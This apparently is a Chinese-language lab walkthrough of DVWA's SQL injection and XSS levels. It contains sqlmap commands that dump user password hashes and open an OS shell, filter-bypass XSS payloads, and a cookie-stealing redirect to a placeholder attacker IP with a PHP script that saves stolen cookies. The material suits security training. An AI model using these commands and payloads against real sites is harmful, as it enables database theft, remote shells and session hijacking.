  • sqlmap --data参数
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#脱裤
sqlmap -u "http://192.168.23.133/dvwa/vulnerabilities/sqli/#" --data "id=2&Submit=Submit" --cookie "security=medium; PHPSESSID=cqve1uen4svrvfnlga3j892sb4" -D dvwa -T users -C user,password --dump --batch
#上马
lmap -u "http://192.168.23.133/dvwa/vulnerabilities/sqli/#" --data "id=2&Submit=Submit" --cookie "security=medium; PHPSESSID=cqve1uen4svrvfnlga3j892sb4" -D dvwa -T users -C user,password --os-shell
#需要加绝对路径，可以利用phpinfo()

High

特点：返回到不同页面

  • 手动无差别
  • sqlmap --second-url参数
1
sqlmap -u "http://192.168.23.133/dvwa/vulnerabilities/sqli/session-input.php" --data "id=2&Submit=Submit" --cookie "security=high; PHPSESSID=cqve1uen4svrvfnlga3j892sb4" --second-url "http://192.168.23.133/dvwa/vulnerabilities/sqli/"-D dvwa -T users -C user,password --dump --batch

image-20210424185429439

SQL Injection (Blind)

Low

  • 手注过于麻烦不演示
  • sqlmap
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sqlmap -u "http://192.168.23.133/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" -p "id" --cookie "security=low; PHPSESSID=f48dupm9bkmo862t404a2hmvl1" -D dvwa -T users -C user,password --dump --batch

Medium

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2
sqlmap -u"http://192.168.23.133/dvwa/vulnerabilities/sqli_blind/#" --data "id=1&Submit=Submit" -p "id" --cookie "security=medium; PHPSESSID=o5v0fkp2cld3nef9aninvap224" -D dvwa -T users -C user,password --dump --batch

High

1
sqlmap -u "192.168.23.133/dvwa/vulnerabilities/sqli_blind/cookie-input.php" --data "id=2&Submit=Submit" --cookie "id=1; security=high; PHPSESSID=o5v0fkp2cld3nef9aninvap224" --second-url "http://192.168.23.133/dvwa/vulnerabilities/sqli_blind/" -D dvwa -T users -C user,password --dump --batch

Weak Session IDs

Low

Medium

High

DOM Based Cross Site Scripting (XSS)

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//DOM Based Cross Site Scripting (XSS) Vulnerability

//Impossible Unknown Vulnerability Source
<?php

# Don't need to do anything, protction handled on the client side

?>

//High Unknown Vulnerability Source
<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

    # White list the allowable languages
    switch ($_GET['default']) {
        case "French":
        case "English":
        case "German":
        case "Spanish":
            # ok
            break;
        default:
            header ("location: ?default=English");
            exit;
    }
}

?>

//Medium Unknown Vulnerability Source
<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
    $default = $_GET['default'];
    
    # Do not allow script tags
    if (stripos ($default, "<script") !== false) {
        header ("location: ?default=English");
        exit;
    }
}

?>

//Low Unknown Vulnerability Source
<?php

# No protections, anything goes

?>

Low

1
<script>alert(/xss/)</script>

Medium

1
</option></select><option><select><img%20src="x"%20onerror="alert(1)"/>

High

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2
English#<script>alert(/xss/);</script>
#之后的被过滤，不传到服务端

Reflected Cross Site Scripting (XSS)

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//Reflected XSS

//Impossible Reflected XSS Source
<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $name = htmlspecialchars( $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

// Generate Anti-CSRF token
generateSessionToken();

?>

//High Reflected XSS Source
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?>

//Medium Reflected XSS Source
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?>

//Low Reflected XSS Source
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?>

Low

1
2
<script>alert(/xss/)</script> 
alert()	 confirm()	prompt()

image-20210428184310810

Medium

  • 嵌套过滤、大小写转换
1
2
<scri<script>pt>
<ScrIpT>
  • url编码
  • 通过诱导受害人点击页面隐藏提交name值，访问攻击网站的php脚本获取用户cookie，从而劫持会话。
1
2
3
<script>DOCUMENT.location="http://攻击IP/cookie.php"</script>
需要进行url编码
%3Cscript%3EDOCUMENT.location%3D%22http%3A%2F%2FIP%2Fcookie.php%22%3C%2Fscript%3E
  • 将保存的cookie用于登录被攻击账户
1
2
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<?php
$cookie=$_GET['cookie'];
file_put_contents('cookie.txt',$cookie);
?>

High

  • script被过滤
  • 使用其他标签
1
2
<img src="x" onerror="alert(1)">
<iframe onload=alert(1)>

image-20210428184344293

image-20210428184415013

Stored Cross Site Scripting (XSS)

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//Stored XSS

//Impossible Stored XSS Source
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = stripslashes( $message );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = stripslashes( $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $name = htmlspecialchars( $name );

    // Update database
    $data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
    $data->bindParam( ':message', $message, PDO::PARAM_STR );
    $data->bindParam( ':name', $name, PDO::PARAM_STR );
    $data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?>

//High Stored XSS Source
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?>

//Medium Stored XSS Source
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = str_replace( '<script>', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?>

//Low Stored XSS Source
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = stripslashes( $message );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitize name input
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?>

Low

  • 与反射形类似

Medium

  • 与反射形类似

High

  • 与反射形类似
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